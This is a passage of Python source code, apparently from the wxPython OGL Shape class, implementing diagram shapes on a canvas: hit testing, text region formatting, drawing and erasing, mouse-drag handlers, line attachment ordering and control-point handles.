lastImage)\n lastImage = object\n\n def RemoveFromCanvas(self, theCanvas):\n \"\"\"Remove the shape from the canvas.\"\"\"\n if self.Selected():\n self.Select(False)\n \n self._canvas = None\n theCanvas.RemoveShape(self)\n for object in self._children:\n object.RemoveFromCanvas(theCanvas)\n\n def ClearAttachments(self):\n \"\"\"Clear internal custom attachment point shapes (of class\n wxAttachmentPoint).\n \"\"\"\n self._attachmentPoints = []\n\n def ClearText(self, regionId = 0):\n \"\"\"Clear the text from the specified text region.\"\"\"\n if regionId == 0:\n self._text = \"\"\n if regionId < len(self._regions):\n self._regions[regionId].ClearText()\n \n def ClearRegions(self):\n \"\"\"Clear the ShapeRegions from the shape.\"\"\"\n self._regions = []\n \n def AddRegion(self, region):\n \"\"\"Add a region to the shape.\"\"\"\n self._regions.append(region)\n\n def SetDefaultRegionSize(self):\n \"\"\"Set the default region to be consistent with the shape size.\"\"\"\n if not self._regions:\n return\n w, h = self.GetBoundingBoxMax()\n self._regions[0].SetSize(w, h)\n\n def HitTest(self, x, y):\n \"\"\"Given a point on a canvas, returns TRUE if the point was on the\n shape, and returns the nearest attachment point and distance from\n the given point and target.\n \"\"\"\n width, height = self.GetBoundingBoxMax()\n if abs(width) < 4:\n width = 4.0\n if abs(height) < 4:\n height = 4.0\n\n width += 4 # Allowance for inaccurate mousing\n height += 4\n \n left = self._xpos - width / 2.0\n top = self._ypos - height / 2.0\n right = self._xpos + width / 2.0\n bottom = self._ypos + height / 2.0\n\n nearest_attachment = 0\n\n # If within the bounding box, check the attachment points\n # within the object.\n if x >= left and x <= right and y >= top and y <= bottom:\n n = self.GetNumberOfAttachments()\n nearest = 999999\n\n # GetAttachmentPosition[Edge] takes a logical attachment position,\n # i.e. if it's rotated through 90%, position 0 is East-facing.\n\n for i in range(n):\n e = self.GetAttachmentPositionEdge(i)\n if e:\n xp, yp = e\n l = math.sqrt(((xp - x) * (xp - x)) + (yp - y) * (yp - y))\n if l < nearest:\n nearest = l\n nearest_attachment = i\n\n return nearest_attachment, nearest\n return False\n \n # Format a text string according to the region size, adding\n # strings with positions to region text list\n \n def FormatText(self, dc, s, i = 0):\n \"\"\"Reformat the given text region; defaults to formatting the\n default region.\n \"\"\"\n self.ClearText(i)\n\n if not self._regions:\n return\n\n if i >= len(self._regions):\n return\n\n region = self._regions[i]\n region._regionText = s\n dc.SetFont(region.GetFont())\n\n w, h = region.GetSize()\n\n stringList = FormatText(dc, s, (w - 2 * self._textMarginX), (h - 2 * self._textMarginY), region.GetFormatMode())\n for s in stringList:\n line = ShapeTextLine(0.0, 0.0, s)\n region.GetFormattedText().append(line)\n\n actualW = w\n actualH = h\n # Don't try to resize an object with more than one image (this\n # case should be dealt with by overriden handlers)\n if (region.GetFormatMode() & FORMAT_SIZE_TO_CONTENTS) and \\\n len(region.GetFormattedText()) and \\\n len(self._regions) == 1 and \\\n not Shape.GraphicsInSizeToContents:\n\n actualW, actualH = GetCentredTextExtent(dc, region.GetFormattedText())\n if actualW + 2 * self._textMarginX != w or actualH + 2 * self._textMarginY != h:\n # If we are a descendant of a composite, must make sure\n # the composite gets resized properly\n\n topAncestor = self.GetTopAncestor()\n if topAncestor != self:\n Shape.GraphicsInSizeToContents = True\n\n composite = topAncestor\n composite.Erase(dc)\n self.SetSize(actualW + 2 * self._textMarginX, actualH + 2 * self._textMarginY)\n self.Move(dc, self._xpos, self._ypos)\n composite.CalculateSize()\n if composite.Selected():\n composite.DeleteControlPoints(dc)\n composite.MakeControlPoints()\n composite.MakeMandatoryControlPoints()\n # Where infinite recursion might happen if we didn't stop it\n composite.Draw(dc)\n Shape.GraphicsInSizeToContents = False\n else:\n self.Erase(dc)\n \n self.SetSize(actualW + 2 * self._textMarginX, actualH + 2 * self._textMarginY)\n self.Move(dc, self._xpos, self._ypos)\n self.EraseContents(dc)\n CentreText(dc, region.GetFormattedText(), self._xpos, self._ypos, actualW - 2 * self._textMarginX, actualH - 2 * self._textMarginY, region.GetFormatMode())\n self._formatted = True\n\n def Recentre(self, dc):\n \"\"\"Do recentring (or other formatting) for all the text regions\n for this shape.\n \"\"\"\n w, h = self.GetBoundingBoxMin()\n for region in self._regions:\n CentreText(dc, region.GetFormattedText(), self._xpos, self._ypos, w - 2 * self._textMarginX, h - 2 * self._textMarginY, region.GetFormatMode())\n\n def GetPerimeterPoint(self, x1, y1, x2, y2):\n \"\"\"Get the point at which the line from (x1, y1) to (x2, y2) hits\n the shape. Returns False if the line doesn't hit the perimeter.\n \"\"\"\n return False\n\n def SetPen(self, the_pen):\n \"\"\"Set the pen for drawing the shape's outline.\"\"\"\n self._pen = the_pen\n\n def SetBrush(self, the_brush):\n \"\"\"Set the brush for filling the shape's shape.\"\"\"\n self._brush = the_brush\n\n # Get the top - most (non-division) ancestor, or self\n def GetTopAncestor(self):\n \"\"\"Return the top-most ancestor of this shape (the root of\n the composite).\n \"\"\"\n if not self.GetParent():\n return self\n\n if isinstance(self.GetParent(), DivisionShape):\n return self\n return self.GetParent().GetTopAncestor()\n\n # Region functions\n def SetFont(self, the_font, regionId = 0):\n \"\"\"Set the font for the specified text region.\"\"\"\n self._font = the_font\n if regionId < len(self._regions):\n self._regions[regionId].SetFont(the_font)\n\n def GetFont(self, regionId = 0):\n \"\"\"Get the font for the specified text region.\"\"\"\n if regionId >= len(self._regions):\n return None\n return self._regions[regionId].GetFont()\n\n def SetFormatMode(self, mode, regionId = 0):\n \"\"\"Set the format mode of the default text region. The argument\n can be a bit list of the following:\n\n FORMAT_NONE\n No formatting. \n FORMAT_CENTRE_HORIZ\n Horizontal centring. \n FORMAT_CENTRE_VERT\n Vertical centring.\n \"\"\"\n if regionId < len(self._regions):\n self._regions[regionId].SetFormatMode(mode)\n\n def GetFormatMode(self, regionId = 0):\n if regionId >= len(self._regions):\n return 0\n return self._regions[regionId].GetFormatMode()\n\n def SetTextColour(self, the_colour, regionId = 0):\n \"\"\"Set the colour for the specified text region.\"\"\"\n self._textColour = wx.TheColourDatabase.Find(the_colour)\n self._textColourName = the_colour\n\n if regionId < len(self._regions):\n self._regions[regionId].SetColour(the_colour)\n \n def GetTextColour(self, regionId = 0):\n \"\"\"Get the colour for the specified text region.\"\"\"\n if regionId >= len(self._regions):\n return \"\"\n return self._regions[regionId].GetColour()\n\n def SetRegionName(self, name, regionId = 0):\n \"\"\"Set the name for this region.\n The name for a region is unique within the scope of the whole\n composite, whereas a region id is unique only for a single image.\n \"\"\"\n if regionId < len(self._regions):\n self._regions[regionId].SetName(name)\n\n def GetRegionName(self, regionId = 0):\n \"\"\"Get the region's name.\n A region's name can be used to uniquely determine a region within\n an entire composite image hierarchy. See also Shape.SetRegionName.\n \"\"\"\n if regionId >= len(self._regions):\n return \"\"\n return self._regions[regionId].GetName()\n\n def GetRegionId(self, name):\n \"\"\"Get the region's identifier by name.\n This is not unique for within an entire composite, but is unique\n for the image.\n \"\"\"\n for i, r in enumerate(self._regions):\n if r.GetName() == name:\n return i\n return -1\n\n # Name all _regions in all subimages recursively\n def NameRegions(self, parentName=\"\"):\n \"\"\"Make unique names for all the regions in a shape or composite shape.\"\"\"\n n = self.GetNumberOfTextRegions()\n for i in range(n):\n if parentName:\n buff = parentName+\".\"+str(i)\n else:\n buff = str(i)\n self.SetRegionName(buff, i)\n\n for j, child in enumerate(self._children):\n if parentName:\n buff = parentName+\".\"+str(j)\n else:\n buff = str(j)\n child.NameRegions(buff)\n\n # Get a region by name, possibly looking recursively into composites\n def FindRegion(self, name):\n \"\"\"Find the actual image ('this' if non-composite) and region id\n for the given region name.\n \"\"\"\n id = self.GetRegionId(name)\n if id > -1:\n return self, id\n\n for child in self._children:\n actualImage, regionId = child.FindRegion(name)\n if actualImage:\n return actualImage, regionId\n\n return None, -1\n\n # Finds all region names for this image (composite or simple).\n def FindRegionNames(self):\n \"\"\"Get a list of all region names for this image (composite or simple).\"\"\"\n list = []\n n = self.GetNumberOfTextRegions()\n for i in range(n):\n list.append(self.GetRegionName(i))\n\n for child in self._children:\n list += child.FindRegionNames()\n\n return list\n\n def AssignNewIds(self):\n \"\"\"Assign new ids to this image and its children.\"\"\"\n self._id = wx.NewId()\n for child in self._children:\n child.AssignNewIds()\n\n def OnDraw(self, dc):\n pass\n\n def OnMoveLinks(self, dc):\n # Want to set the ends of all attached links\n # to point to / from this object\n\n for line in self._lines:\n line.GetEventHandler().OnMoveLink(dc)\n\n def OnDrawContents(self, dc):\n if not self._regions:\n return\n \n bound_x, bound_y = self.GetBoundingBoxMin()\n\n if self._pen:\n dc.SetPen(self._pen)\n\n for region in self._regions:\n if region.GetFont():\n dc.SetFont(region.GetFont())\n\n dc.SetTextForeground(region.GetActualColourObject())\n dc.SetBackgroundMode(wx.TRANSPARENT)\n if not self._formatted:\n CentreText(dc, region.GetFormattedText(), self._xpos, self._ypos, bound_x - 2 * self._textMarginX, bound_y - 2 * self._textMarginY, region.GetFormatMode())\n self._formatted = True\n\n if not self.GetDisableLabel():\n DrawFormattedText(dc, region.GetFormattedText(), self._xpos, self._ypos, bound_x - 2 * self._textMarginX, bound_y - 2 * self._textMarginY, region.GetFormatMode())\n \n\n def DrawContents(self, dc):\n \"\"\"Draw the internal graphic of the shape (such as text).\n\n Do not override this function: override OnDrawContents, which\n is called by this function.\n \"\"\"\n self.GetEventHandler().OnDrawContents(dc)\n\n def OnSize(self, x, y):\n pass\n\n def OnMovePre(self, dc, x, y, old_x, old_y, display = True):\n return True\n\n def OnErase(self, dc):\n if not self._visible:\n return\n\n # Erase links\n for line in self._lines:\n line.GetEventHandler().OnErase(dc)\n\n self.GetEventHandler().OnEraseContents(dc)\n\n def OnEraseContents(self, dc):\n if not self._visible:\n return\n\n xp, yp = self.GetX(), self.GetY()\n minX, minY = self.GetBoundingBoxMin()\n maxX, maxY = self.GetBoundingBoxMax()\n\n topLeftX = xp - maxX / 2.0 - 2\n topLeftY = yp - maxY / 2.0 - 2\n\n penWidth = 0\n if self._pen:\n penWidth = self._pen.GetWidth()\n\n dc.SetPen(self.GetBackgroundPen())\n dc.SetBrush(self.GetBackgroundBrush())\n\n dc.DrawRectangle(topLeftX - penWidth, topLeftY - penWidth, maxX + penWidth * 2 + 4, maxY + penWidth * 2 + 4)\n\n def EraseLinks(self, dc, attachment = -1, recurse = False):\n \"\"\"Erase links attached to this shape, but do not repair damage\n caused to other shapes.\n \"\"\"\n if not self._visible:\n return\n\n for line in self._lines:\n if attachment == -1 or (line.GetTo() == self and line.GetAttachmentTo() == attachment or line.GetFrom() == self and line.GetAttachmentFrom() == attachment):\n line.GetEventHandler().OnErase(dc)\n\n if recurse:\n for child in self._children:\n child.EraseLinks(dc, attachment, recurse)\n\n def DrawLinks(self, dc, attachment = -1, recurse = False):\n \"\"\"Draws any lines linked to this shape.\"\"\"\n if not self._visible:\n return\n\n for line in self._lines:\n if attachment == -1 or (line.GetTo() == self and line.GetAttachmentTo() == attachment or line.GetFrom() == self and line.GetAttachmentFrom() == attachment):\n line.Draw(dc)\n \n if recurse:\n for child in self._children:\n child.DrawLinks(dc, attachment, recurse)\n\n # Returns TRUE if pt1 <= pt2 in the sense that one point comes before\n # another on an edge of the shape.\n # attachmentPoint is the attachment point (= side) in question.\n\n # This is the default, rectangular implementation.\n def AttachmentSortTest(self, attachmentPoint, pt1, pt2):\n \"\"\"Return TRUE if pt1 is less than or equal to pt2, in the sense\n that one point comes before another on an edge of the shape.\n\n attachment is the attachment point (side) in question.\n\n This function is used in Shape.MoveLineToNewAttachment to determine\n the new line ordering.\n \"\"\"\n physicalAttachment = self.LogicalToPhysicalAttachment(attachmentPoint)\n if physicalAttachment in [0, 2]:\n return pt1[0] <= pt2[0]\n elif physicalAttachment in [1, 3]:\n return pt1[1] <= pt2[1]\n\n return False\n\n def MoveLineToNewAttachment(self, dc, to_move, x, y):\n \"\"\"Move the given line (which must already be attached to the shape)\n to a different attachment point on the shape, or a different order\n on the same attachment.\n\n Calls Shape.AttachmentSortTest and then\n ShapeEvtHandler.OnChangeAttachment.\n \"\"\"\n if self.GetAttachmentMode() == ATTACHMENT_MODE_NONE:\n return False\n\n # Is (x, y) on this object? If so, find the new attachment point\n # the user has moved the point to\n hit = self.HitTest(x, y)\n if not hit:\n return False\n\n newAttachment, distance = hit\n \n self.EraseLinks(dc)\n\n if to_move.GetTo() == self:\n oldAttachment = to_move.GetAttachmentTo()\n else:\n oldAttachment = to_move.GetAttachmentFrom()\n\n # The links in a new ordering\n # First, add all links to the new list\n newOrdering = self._lines[:]\n \n # Delete the line object from the list of links; we're going to move\n # it to another position in the list\n del newOrdering[newOrdering.index(to_move)]\n\n old_x = -99999.9\n old_y = -99999.9\n\n found = False\n\n for line in newOrdering:\n if line.GetTo() == self and oldAttachment == line.GetAttachmentTo() or \\\n line.GetFrom() == self and oldAttachment == line.GetAttachmentFrom():\n startX, startY, endX, endY = line.GetEnds()\n if line.GetTo() == self:\n xp = endX\n yp = endY\n else:\n xp = startX\n yp = startY\n\n thisPoint = wx.RealPoint(xp, yp)\n lastPoint = wx.RealPoint(old_x, old_y)\n newPoint = wx.RealPoint(x, y)\n\n if self.AttachmentSortTest(newAttachment, newPoint, thisPoint) and self.AttachmentSortTest(newAttachment, lastPoint, newPoint):\n found = True\n newOrdering.insert(newOrdering.index(line), to_move)\n\n old_x = xp\n old_y = yp\n if found:\n break\n\n if not found:\n newOrdering.append(to_move)\n\n self.GetEventHandler().OnChangeAttachment(newAttachment, to_move, newOrdering)\n return True\n\n def OnChangeAttachment(self, attachment, line, ordering):\n if line.GetTo() == self:\n line.SetAttachmentTo(attachment)\n else:\n line.SetAttachmentFrom(attachment)\n\n self.ApplyAttachmentOrdering(ordering)\n\n dc = wx.ClientDC(self.GetCanvas())\n self.GetCanvas().PrepareDC(dc)\n self.MoveLinks(dc)\n\n if not self.GetCanvas().GetQuickEditMode():\n self.GetCanvas().Redraw(dc)\n\n # Reorders the lines according to the given list\n def ApplyAttachmentOrdering(self, linesToSort):\n \"\"\"Apply the line ordering in linesToSort to the shape, to reorder\n the way lines are attached.\n \"\"\"\n linesStore = self._lines[:]\n\n self._lines = []\n\n for line in linesToSort:\n if line in linesStore:\n del linesStore[linesStore.index(line)]\n self._lines.append(line)\n\n # Now add any lines that haven't been listed in linesToSort\n self._lines += linesStore\n\n def SortLines(self, attachment, linesToSort):\n \"\"\" Reorder the lines coming into the node image at this attachment\n position, in the order in which they appear in linesToSort.\n\n Any remaining lines not in the list will be added to the end.\n \"\"\"\n # This is a temporary store of all the lines at this attachment\n # point. We'll tick them off as we've processed them.\n linesAtThisAttachment = []\n\n for line in self._lines[:]:\n if line.GetTo() == self and line.GetAttachmentTo() == attachment or \\\n line.GetFrom() == self and line.GetAttachmentFrom() == attachment:\n linesAtThisAttachment.append(line)\n del self._lines[self._lines.index(line)]\n\n for line in linesToSort:\n if line in linesAtThisAttachment:\n # Done this one\n del linesAtThisAttachment[linesAtThisAttachment.index(line)]\n self._lines.append(line)\n\n # Now add any lines that haven't been listed in linesToSort\n self._lines += linesAtThisAttachment\n\n def OnHighlight(self, dc):\n pass\n\n def OnLeftClick(self, x, y, keys = 0, attachment = 0):\n if self._sensitivity & OP_CLICK_LEFT != OP_CLICK_LEFT:\n if self._parent:\n attachment, dist = self._parent.HitTest(x, y)\n self._parent.GetEventHandler().OnLeftClick(x, y, keys, attachment)\n\n def OnRightClick(self, x, y, keys = 0, attachment = 0):\n if self._sensitivity & OP_CLICK_RIGHT != OP_CLICK_RIGHT:\n attachment, dist = self._parent.HitTest(x, y)\n self._parent.GetEventHandler().OnRightClick(x, y, keys, attachment)\n \n def OnDragLeft(self, draw, x, y, keys = 0, attachment = 0):\n if self._sensitivity & OP_DRAG_LEFT != OP_DRAG_LEFT:\n if self._parent:\n hit = self._parent.HitTest(x, y)\n if hit:\n attachment, dist = hit\n self._parent.GetEventHandler().OnDragLeft(draw, x, y, keys, attachment)\n return\n\n dc = wx.ClientDC(self.GetCanvas())\n self.GetCanvas().PrepareDC(dc)\n dc.SetLogicalFunction(OGLRBLF)\n\n dottedPen = wx.Pen(wx.Colour(0, 0, 0), 1, wx.DOT)\n dc.SetPen(dottedPen)\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n\n xx = x + DragOffsetX\n yy = y + DragOffsetY\n\n xx, yy = self._canvas.Snap(xx, yy)\n w, h = self.GetBoundingBoxMax()\n self.GetEventHandler().OnDrawOutline(dc, xx, yy, w, h)\n\n def OnBeginDragLeft(self, x, y, keys = 0, attachment = 0):\n global DragOffsetX, DragOffsetY\n \n if self._sensitivity & OP_DRAG_LEFT != OP_DRAG_LEFT:\n if self._parent:\n hit = self._parent.HitTest(x, y)\n if hit:\n attachment, dist = hit\n self._parent.GetEventHandler().OnBeginDragLeft(x, y, keys, attachment)\n return\n\n DragOffsetX = self._xpos - x\n DragOffsetY = self._ypos - y\n\n dc = wx.ClientDC(self.GetCanvas())\n self.GetCanvas().PrepareDC(dc)\n \n # New policy: don't erase shape until end of drag.\n # self.Erase(dc)\n xx = x + DragOffsetX\n yy = y + DragOffsetY\n xx, yy = self._canvas.Snap(xx, yy)\n dc.SetLogicalFunction(OGLRBLF)\n\n dottedPen = wx.Pen(wx.Colour(0, 0, 0), 1, wx.DOT)\n dc.SetPen(dottedPen)\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n\n w, h = self.GetBoundingBoxMax()\n self.GetEventHandler().OnDrawOutline(dc, xx, yy, w, h)\n self._canvas.CaptureMouse()\n\n def OnEndDragLeft(self, x, y, keys = 0, attachment = 0):\n if self._canvas.HasCapture():\n self._canvas.ReleaseMouse()\n if self._sensitivity & OP_DRAG_LEFT != OP_DRAG_LEFT:\n if self._parent:\n hit = self._parent.HitTest(x, y)\n if hit:\n attachment, dist = hit\n self._parent.GetEventHandler().OnEndDragLeft(x, y, keys, attachment)\n return\n\n dc = wx.ClientDC(self.GetCanvas())\n self.GetCanvas().PrepareDC(dc)\n\n dc.SetLogicalFunction(wx.COPY)\n xx = x + DragOffsetX\n yy = y + DragOffsetY\n xx, yy = self._canvas.Snap(xx, yy)\n\n # New policy: erase shape at end of drag.\n self.Erase(dc)\n\n self.Move(dc, xx, yy)\n if self._canvas and not self._canvas.GetQuickEditMode():\n self._canvas.Redraw(dc)\n\n def OnDragRight(self, draw, x, y, keys = 0, attachment = 0):\n if self._sensitivity & OP_DRAG_RIGHT != OP_DRAG_RIGHT:\n if self._parent:\n attachment, dist = self._parent.HitTest(x, y)\n self._parent.GetEventHandler().OnDragRight(draw, x, y, keys, attachment)\n return\n\n def OnBeginDragRight(self, x, y, keys = 0, attachment = 0):\n if self._sensitivity & OP_DRAG_RIGHT != OP_DRAG_RIGHT:\n if self._parent:\n attachment, dist = self._parent.HitTest(x, y)\n self._parent.GetEventHandler().OnBeginDragRight(x, y, keys, attachment)\n return\n\n def OnEndDragRight(self, x, y, keys = 0, attachment = 0):\n if self._sensitivity & OP_DRAG_RIGHT != OP_DRAG_RIGHT:\n if self._parent:\n attachment, dist = self._parent.HitTest(x, y)\n self._parent.GetEventHandler().OnEndDragRight(x, y, keys, attachment)\n return\n\n def OnDrawOutline(self, dc, x, y, w, h):\n points = [[x - w / 2.0, y - h / 2.0],\n [x + w / 2.0, y - h / 2.0],\n [x + w / 2.0, y + h / 2.0],\n [x - w / 2.0, y + h / 2.0],\n [x - w / 2.0, y - h / 2.0],\n ]\n\n dc.DrawLines(points)\n \n def Attach(self, can):\n \"\"\"Set the shape's internal canvas pointer to point to the given canvas.\"\"\"\n self._canvas = can\n\n def Detach(self):\n \"\"\"Disassociates the shape from its canvas.\"\"\"\n self._canvas = None\n\n def Move(self, dc, x, y, display = True):\n \"\"\"Move the shape to the given position.\n Redraw if display is TRUE.\n \"\"\"\n old_x = self._xpos\n old_y = self._ypos\n\n if not self.GetEventHandler().OnMovePre(dc, x, y, old_x, old_y, display):\n return\n\n self._xpos, self._ypos = x, y\n\n self.ResetControlPoints()\n\n if display:\n self.Draw(dc)\n\n self.MoveLinks(dc)\n\n self.GetEventHandler().OnMovePost(dc, x, y, old_x, old_y, display)\n\n def MoveLinks(self, dc):\n \"\"\"Redraw all the lines attached to the shape.\"\"\"\n self.GetEventHandler().OnMoveLinks(dc)\n\n def Draw(self, dc):\n \"\"\"Draw the whole shape and any lines attached to it.\n\n Do not override this function: override OnDraw, which is called\n by this function.\n \"\"\"\n if self._visible:\n self.GetEventHandler().OnDraw(dc)\n self.GetEventHandler().OnDrawContents(dc)\n self.GetEventHandler().OnDrawControlPoints(dc)\n self.GetEventHandler().OnDrawBranches(dc)\n\n def Flash(self):\n \"\"\"Flash the shape.\"\"\"\n if self.GetCanvas():\n dc = wx.ClientDC(self.GetCanvas())\n self.GetCanvas().PrepareDC(dc)\n\n dc.SetLogicalFunction(OGLRBLF)\n self.Draw(dc)\n dc.SetLogicalFunction(wx.COPY)\n self.Draw(dc)\n\n def Show(self, show):\n \"\"\"Set a flag indicating whether the shape should be drawn.\"\"\"\n self._visible = show\n for child in self._children:\n child.Show(show)\n\n def Erase(self, dc):\n \"\"\"Erase the shape.\n Does not repair damage caused to other shapes.\n \"\"\"\n self.GetEventHandler().OnErase(dc)\n self.GetEventHandler().OnEraseControlPoints(dc)\n self.GetEventHandler().OnDrawBranches(dc, erase = True)\n\n def EraseContents(self, dc):\n \"\"\"Erase the shape contents, that is, the area within the shape's\n minimum bounding box.\n \"\"\"\n self.GetEventHandler().OnEraseContents(dc)\n\n def AddText(self, string):\n \"\"\"Add a line of text to the shape's default text region.\"\"\"\n if not self._regions:\n return\n\n region = self._regions[0]\n #region.ClearText()\n new_line = ShapeTextLine(0, 0, string)\n text = region.GetFormattedText()\n text.append(new_line)\n\n self._formatted = False\n\n def SetSize(self, x, y, recursive = True):\n \"\"\"Set the shape's size.\"\"\"\n self.SetAttachmentSize(x, y)\n self.SetDefaultRegionSize()\n\n def SetAttachmentSize(self, w, h):\n width, height = self.GetBoundingBoxMin()\n if width == 0:\n scaleX = 1.0\n else:\n scaleX = float(w) / width\n if height == 0:\n scaleY = 1.0\n else:\n scaleY = float(h) / height\n\n for point in self._attachmentPoints:\n point._x = point._x * scaleX\n point._y = point._y * scaleY\n\n # Add line FROM this object\n def AddLine(self, line, other, attachFrom = 0, attachTo = 0, positionFrom = -1, positionTo = -1):\n \"\"\"Add a line between this shape and the given other shape, at the\n specified attachment points.\n\n The position in the list of lines at each end can also be specified,\n so that the line will be drawn at a particular point on its attachment\n point.\n \"\"\"\n if positionFrom == -1:\n if not line in self._lines:\n self._lines.append(line)\n else:\n # Don't preserve old ordering if we have new ordering instructions\n try:\n self._lines.remove(line)\n except ValueError:\n pass\n if positionFrom < len(self._lines):\n self._lines.insert(positionFrom, line)\n else:\n self._lines.append(line)\n\n if positionTo == -1:\n if not other in other._lines:\n other._lines.append(line)\n else:\n # Don't preserve old ordering if we have new ordering instructions\n try:\n other._lines.remove(line)\n except ValueError:\n pass\n if positionTo < len(other._lines):\n other._lines.insert(positionTo, line)\n else:\n other._lines.append(line)\n \n line.SetFrom(self)\n line.SetTo(other)\n line.SetAttachments(attachFrom, attachTo)\n\n dc = wx.ClientDC(self._canvas)\n self._canvas.PrepareDC(dc)\n self.MoveLinks(dc)\n \n def RemoveLine(self, line):\n \"\"\"Remove the given line from the shape's list of attached lines.\"\"\"\n if line.GetFrom() == self:\n line.GetTo()._lines.remove(line)\n else:\n line.GetFrom()._lines.remove(line)\n\n self._lines.remove(line)\n\n # Default - make 6 control points\n def MakeControlPoints(self):\n \"\"\"Make a list of control points (draggable handles) appropriate to\n the shape.\n \"\"\"\n maxX, maxY = self.GetBoundingBoxMax()\n minX, minY = self.GetBoundingBoxMin()\n\n widthMin = minX + CONTROL_POINT_SIZE + 2\n heightMin = minY + CONTROL_POINT_SIZE + 2\n\n # Offsets from main object\n top = -heightMin / 2.0\n bottom = heightMin / 2.0 + (maxY - minY)\n left = -widthMin / 2.0\n right = widthMin / 2.0 + (maxX - minX)\n\n control = ControlPoint(self._canvas, self, CONTROL_POINT_SIZE, left, top, CONTROL_POINT_DIAGONAL)\n self._canvas.AddShape(control)\n self._controlPoints.append(control)\n\n control = ControlPoint(self._canvas, self, CONTROL_POINT_SIZE, 0, top, CONTROL_POINT_VERTICAL)\n self._canvas.AddShape(control)\n self._controlPoints.append(control)\n\n control = ControlPoint(self._canvas, self, CONTROL_POINT_SIZE, right, top, CONTROL_POINT_DIAGONAL)\n self._canvas.AddShape(control)\n self._controlPoints.append(control)\n\n control = ControlPoint(self._canvas, self, CONTROL_POINT_SIZE, right, 0, CONTROL_POINT_HORIZONTAL)\n self._canvas.AddShape(control)\n self._controlPoints.append(control)\n\n control = ControlPoint(self._canvas, self, CONTROL_POINT_SIZE, right, bottom, CONTROL_POINT_DIAGONAL)\n self._canvas.AddShape(control)\n self._controlPoints.append(control)\n\n control = ControlPoint(self._canvas, self, CONTROL_POINT_SIZE, 0, bottom, CONTROL_POINT_VERTICAL)\n self._canvas.AddShape(control)\n self._controlPoints.append(control)\n\n control = ControlPoint(self._canvas, self, CONTROL_POINT_SIZE, left, bottom, CONTROL_POINT_DIAGONAL)\n self._canvas.AddShape(control)\n self._controlPoints.append(control)\n\n control = ControlPoint(self._canvas, self, CONTROL_POINT_SIZE, left, 0, CONTROL_POINT_HORIZONTAL)\n self._canvas.AddShape(control)\n self._controlPoints.append(control)\n\n def MakeMandatoryControlPoints(self):\n \"\"\"Make the mandatory control points.\n\n For example, the control point on a dividing line should appear even\n if the divided rectangle shape's handles should not appear (because\n it is the child of a composite, and children are not resizable).\n \"\"\"\n for child in self._children:\n child.MakeMandatoryControlPoints()\n\n def ResetMandatoryControlPoints(self):\n \"\"\"Reset the mandatory control points.\"\"\"\n for child in self._children:\n child.ResetMandatoryControlPoints()\n\n def ResetControlPoints(self):\n \"\"\"Reset the positions of the control points (for instance when the\n shape's shape has changed).\n \"\"\"\n self.ResetMandatoryControlPoints()\n\n if len(self._controlPoints) == 0:\n return\n\n maxX, maxY = self.GetBoundingBoxMax()\n minX, minY = self.GetBoundingBoxMin()\n\n widthMin = minX + CONTROL_POINT_SIZE + 2\n heightMin = minY + CONTROL_POINT_SIZE + 2\n \n # Offsets from main object\n top = -heightMin / 2.0\n bottom = heightMin / 2.0 + (maxY - minY)\n left = -widthMin / 2.0\n right = widthMin / 2.0 + (maxX - minX)\n\n self._controlPoints[0]._xoffset = left\n self._controlPoints[0]._yoffset = top\n\n self._controlPoints[1]._xoffset = 0\n self._controlPoints[1]._yoffset = top\n\n self._controlPoints[2]._xoffset = right\n self._controlPoints[2]._yoffset = top\n\n self._controlPoints[3]._xoffset = right\n self._controlPoints[3]._yoffset = 0\n\n self._controlPoints[4]._xoffset = right\n self._controlPoints[4]._yoffset = bottom\n\n self._controlPoints[5]._xoffset = 0\n self._controlPoints[5]._yoffset = bottom\n\n self._controlPoints[6]._xoffset = left\n self._controlPoints[6]._yoffset = bottom\n\n self._controlPoints[7]._xoffset = left\n self._controlPoints[7]._yoffset = 0\n\n def DeleteControlPoints(self, dc = None):\n \"\"\"Delete the control points (or handles) for the shape.\n\n Does not redraw the shape.\n \"\"\"\n for control in self._controlPoints[:]:\n if dc:\n control.GetEventHandler().OnErase(dc)\n control.Delete()\n self._controlPoints.remove(control)\n self._controlPoints = []\n \n # Children of divisions are contained objects,\n # so stop here\n if not isinstance(self, DivisionShape):\n for child in self._children:\n child.DeleteControlPoints(dc)\n\n def OnDrawControlPoints(self, dc):\n if not self._drawHandles:\n return\n\n dc.SetBrush(wx.BLACK_BRUSH)\n dc.SetPen(wx.BLACK_PEN)\n\n for control in self._controlPoints:\n control.Draw(dc)\n\n # Children of divisions are contained objects,\n # so stop here.\n # This test bypasses the type facility for speed\n # (critical when drawing)\n\n if not isinstance(self, DivisionShape):\n for child in self._children:\n child.GetEventHandler().OnDrawControlPoints(dc)\n\n def OnEraseControlPoints(self, dc):\n for control in self._controlPoints:\n control.Erase(dc)\n\n if not isinstance(self, DivisionShape):\n for child in self._children:\n child.GetEventHandler().OnEraseControlPoints(dc)\n\n def Select(self, select, dc = None):\n \"\"\"Select or deselect the given shape, drawing or erasing control points\n (handles) as necessary.\n \"\"\"\n self._selected = select\n if select:\n self.MakeControlPoints()\n # Children of divisions are contained objects,\n # so stop here\n if not isinstance(self, DivisionShape):\n for child in self._children:\n child.MakeMandatoryControlPoints()\n if dc:\n self.GetEventHandler().OnDrawControlPoints(dc)\n else:\n self.DeleteControlPoints(dc)\n if not isinstance(self, DivisionShape):\n for child in self._children:\n child.DeleteControlPoints(dc)\n\n def Selected(self):\n \"\"\"TRUE if the shape is currently selected.\"\"\"\n return self._selected\n\n def AncestorSelected(self):\n \"\"\"TRUE if the shape's ancestor is currently selected.\"\"\"\n if self._selected:\n return True\n if not self.GetParent():\n return False\n return self.GetParent().AncestorSelected()\n\n def GetNumberOfAttachments(self):\n \"\"\"Get the number of attachment points for this shape.\"\"\"\n # Should return the MAXIMUM attachment point id here,\n # so higher-level functions can iterate through all attachments,\n # even if they're not contiguous.\n\n if len(self._attachmentPoints) == 0:\n return 4\n else:\n maxN = 3\n for point in self._attachmentPoints:\n if point._id > maxN:\n maxN = point._id\n return maxN + 1\n\n def AttachmentIsValid(self, attachment):\n \"\"\"TRUE if attachment is a valid attachment point.\"\"\"\n if len(self._attachmentPoints) == 0:\n return attachment in range(4)\n\n for point in self._attachmentPoints:\n if point._id == attachment:\n return True\n return False\n\n def GetAttachmentPosition(self, attachment, nth = 0, no_arcs = 1, line = None):\n \"\"\"Get the position at which the given attachment point should be drawn.\n\n If attachment isn't found among the attachment points of the shape,\n returns None.\n \"\"\"\n if self._attachmentMode == ATTACHMENT_MODE_NONE:\n return self._xpos, self._ypos\n elif 